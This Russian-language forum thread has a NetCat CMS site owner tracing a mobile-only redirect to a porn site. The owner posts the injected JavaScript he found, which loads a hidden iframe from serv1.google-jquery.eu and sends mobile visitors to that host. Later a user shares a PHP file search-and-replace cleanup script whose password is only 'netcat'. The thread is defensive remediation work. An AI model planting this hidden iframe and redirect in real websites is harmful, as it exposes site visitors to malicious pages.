|
|
04.04.2013, 11:09
|
|
Seonica
Дизайн-студия Seonica.ru
Зарегистрирован: 2006-12-04
Сообщений: 9
|
Сайт на неткете 4.2 стандарт. Сегодня обнаружилось, что при заходе на сайт с мобильных устройств происходит редирект на порнуху. С компа все нормально.
Все файлы уже перекопал, ничего подохрительного. В какой стороне еще искать?
Пациент http://1fj.ru
Готов оплатить решение проблемы.
Seonica.ru
|
|
|
04.04.2013, 11:16
|
|
ipm
Ильин Павел
Зарегистрирован: 2012-10-12
Сообщений: 386
|
В макете главной в head смотрели? Может там редирект прописан на порносайт, именно для мобилок
Знание может быть лишь у того, у кого есть вопросы. Ханс Георг Гадамер
|
|
|
04.04.2013, 11:20
|
|
Seonica
Дизайн-студия Seonica.ru
Зарегистрирован: 2006-12-04
Сообщений: 9
|
Угу, первым делом проверил, все чисто!
Seonica.ru
|
|
|
04.04.2013, 11:23
|
|
Seonica
Дизайн-студия Seonica.ru
Зарегистрирован: 2006-12-04
Сообщений: 9
|
Нашел косяк! Первую строку редиректа! Прописалась в папку JS, создав там пару файлов
Буду разбираться дальше, что за файлы и нужны ли они
Seonica.ru
|
|
|
04.04.2013, 11:29
|
|
Seonica
Дизайн-студия Seonica.ru
Зарегистрирован: 2006-12-04
Сообщений: 9
|
Вот такое включение обнаружилось, будем, надеяться, что единственное:
Код:document.write('<iframe src="http://serv1.google-jquery.eu/?sv" border="0" width="0" height="0"></iframe>');
var ismobile = navigator['userAgent']['match'](/(acs)|(alav)|(alca)|(amoi)|(audi)|(aste)|(avan)|(benq)|(bird)|(blac)|(blaz)|(brew)|(cell)|(cldc)|(cmd-)|(dang)|(doco)|(eric)|(hipt)|(inno)|(ipaq)|(java)|(jigs)|(kddi)|(keji)|(leno)|(lg-c)|(lg-d)|(lg-g)|(lge-)|(maui)|(maxo)|(midp)|(mits)|(mmef)|(mobi)|(mot-)|(moto)|(mwbp)|(nec-)|(newt)|(noki)|(opwv)|(palm)|(pana)|(pant)|(pdxg)|(phil)|(play)|(pluc)|(port)|(prox)|(qtek)|(qwap)|(sage)|(sams)|(sany)|(sch-)|(sec-)|(send)|(seri)|(sgh-)|(shar)|(sie-)|(siem)|(smal)|(smar)|(sony)|(sph-)|(symb)|(t-mo)|(teli)|(tim-)|(tosh)|(tsm-)|(upg1)|(upsi)|(vk-v)|(voda)|(w3cs)|(wap-)|(wapa)|(wapi)|(wapp)|(wapr)|(webc)|(winw)|(winw)|(xda)|(xda-)|(up.browser)|(up.link)|(windows.ce)|(iemobile)|(mini)|(mmp)|(symbian)|(midp)|(wap)|(phone)|(pocket)|(mobile)|(android)|(pda)|(PPC)|(Series60)|(Opera.Mini)|(ipad)|(iphone)/i);
if (ismobile) {
document['location']['href'] = 'http://serv1.google-jquery.eu/?mob';
};
Seonica.ru
|
|
|
04.04.2013, 11:42
|
|
Seonica
Дизайн-студия Seonica.ru
Зарегистрирован: 2006-12-04
Сообщений: 9
|
Вообще файл левый появился, скорее всего взлом через FTP...
Хотя в шаблонах есть строка, которая грузит этот JS
Код:<script src=\"/js/prototype.js\" type=\"text/javascript\"></script>
Будьте внимательны, на будущее пишу!
Seonica.ru
|
|
|
04.04.2013, 11:49
|
|
Seonica
Дизайн-студия Seonica.ru
Зарегистрирован: 2006-12-04
Сообщений: 9
|
Главные вопросы:
Взлом через FTP?
Если да, то как в шаблоны прописали вывод JS'a?
Seonica.ru
|
|
|
04.04.2013, 12:21
|
|
ipm
Ильин Павел
Зарегистрирован: 2012-10-12
Сообщений: 386
|
Вполне возможен взлом через ftp. Можно попробывать посмотреть логи. Только вот, как отследить, когда именно...пока не придумал.
В шаблоны могли прописать через базу данных. Смените пароль.
Знание может быть лишь у того, у кого есть вопросы. Ханс Георг Гадамер
|
|
|
04.04.2013, 14:23
|
|
Гудантов Расул Рамилевич
Зарегистрирован: 2013-04-03
Сообщений: 6
|
Могу файл скинуть, который проверяет все файлы на сайте и удаляет вредоносный код, код того самого js
|
|
|
04.04.2013, 14:59
|
|
ipm
Ильин Павел
Зарегистрирован: 2012-10-12
Сообщений: 386
|
Кидайте, только зачем? Хотя...пригодится)
Знание может быть лишь у того, у кого есть вопросы. Ханс Георг Гадамер
|
|
|
04.04.2013, 15:14
|
|
Гудантов Расул Рамилевич
Зарегистрирован: 2013-04-03
Сообщений: 6
|
Код:<?php header ('Content-type: text/html; charset=utf-8'); ?>
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<meta name="Author" content="cmsdev.org" />
<meta name="robots" content="noindex, nofollow" />
<title>Поиск и замена текста в содержимом файлов</title>
</head>
<body style="margin: 0; padding: 0;">
<?php
if(md5($_GET['pas']) != '4a906b3f1422d05c6858b1287f39fae4') /* Пароль в md5() используйте http://www.md5decrypt.org/ для создания своего пароля. В данном случае пароль netcat. Заливаем в корень сайта и переходим по адресу site.ru/replace.php?pas=netcat. В первое поле вводим код, который нужно удалить, второе пустое и ставим галочку "Заменить"*/
die('Доступ запрещен!');
if (isset($_POST['submit'])) {
$err_arr = array(0 => '', 1 => '');
if ($_POST['text'] == '' || $_POST['dir'] == '') {
$err = ' style="border: 1px solid red"';
if ($_POST['text'] == '')
$err_arr[0] = $err;
if ($_POST['dir'] == '')
$err_arr[1] = $err;
} else {
set_time_limit(0);
error_reporting(E_ALL);
$dir = trim($_POST['dir']);
$text = stripslashes($_POST['text']);
$retext = stripslashes($_POST['retext']);
$replace = isset($_POST['replace']) ? $_POST['replace'] : 0;
$ext = explode(',', $_POST['ext']);
$cnt = 0;
function scan_dir($dirname) {
global $text, $retext, $replace, $ext, $cnt;
$dir = opendir($dirname);
while (($file = readdir($dir)) !== false) {
if ($file != "." && $file != "..") {
$file_name = $dirname."/".$file;
if (is_file($file_name)) {
$ext_name = substr(strrchr($file_name, '.'), 1);
if (in_array($ext_name, $ext) || $file_name == $dirname.'/replace.php')
continue;
$content = file_get_contents($file_name);
if (strpos($content, $text) !== false) {
$cnt++;
if ($replace) {
$content = str_replace($text, $retext, $content);
file_put_contents($file_name, $content);
}
echo '<b>'.$cnt.'</b>: '.$file_name.'<br>';
}
}
if (is_dir($file_name)) {
scan_dir($file_name);
}
}
}
closedir($dir);
}
$start_time = microtime(true);
echo '<div style="padding: 10px; width: 98%; background: #FFEAEA; border: 2px solid #FFB0B0; margin-bottom: 20px">';
if ($replace)
echo '<h2>Заданный текст заменен в файлах:</h2>';
else
echo '<h2>Заданный текст найден в файлах:</h2> ';
scan_dir($dir);
if (!$cnt)
echo 'Нет совпадений';
$exec_time = microtime(true) - $start_time;
printf("<br /><b>Время выполнения: %f сек.</b></div>", $exec_time);
}
}
?>
<div style="padding: 10px; width: 100%; background: #E7F0F5; border: 2px solid #C5E7F6; text-align: center;">
<form method="post">
<table cellpadding="5" cellspacing="0" border="0" align="center">
<tr>
<td align="right">
Текст поиска*:
</td>
<td>
<textarea<?php echo $err_arr[0]; ?> name="text" cols="25" rows="7"><?php echo isset($text) ? $text : ''; ?></textarea>
</td>
</tr>
<tr>
<td align="right">
Текст замены:
</td>
<td>
<textarea name="retext" cols="25" rows="7"><?php echo isset($retext) ? $retext : ''; ?></textarea>
</td>
</tr>
<tr>
<td align="right">
Замена:
</td>
<td>
<input type="checkbox"<?php echo isset($replace) && $replace == 1 ? ' checked' : ''; ?> name="replace" value="1" />
</td>
</tr>
<tr>
<td align="right">
Не искать в файлах:
</td>
<td>
<input type="text" size="33" name="ext" value="<?php echo isset($_POST['ext']) ? $_POST['ext'] : 'gif,jpg,jpeg,png,zip,rar,pdf,css'; ?>" />
</td>
</tr>
<tr>
<td align="right">
Папка*:
</td>
<td>
<input<?php echo $err_arr[1]; ?> type="text" size="33" name="dir" value="<?php echo isset($dir) ? $dir : '.'; ?>" title='Введите ".", если поиск по этой папке, иначе просто имя папки' />
</td>
</tr>
<tr>
<td colspan="2" align="center">
<br /><input type="submit" name="submit" value="Искать\Заменить" />
</td>
</tr>
</table>
</form>
</div>
</body>
</html>
|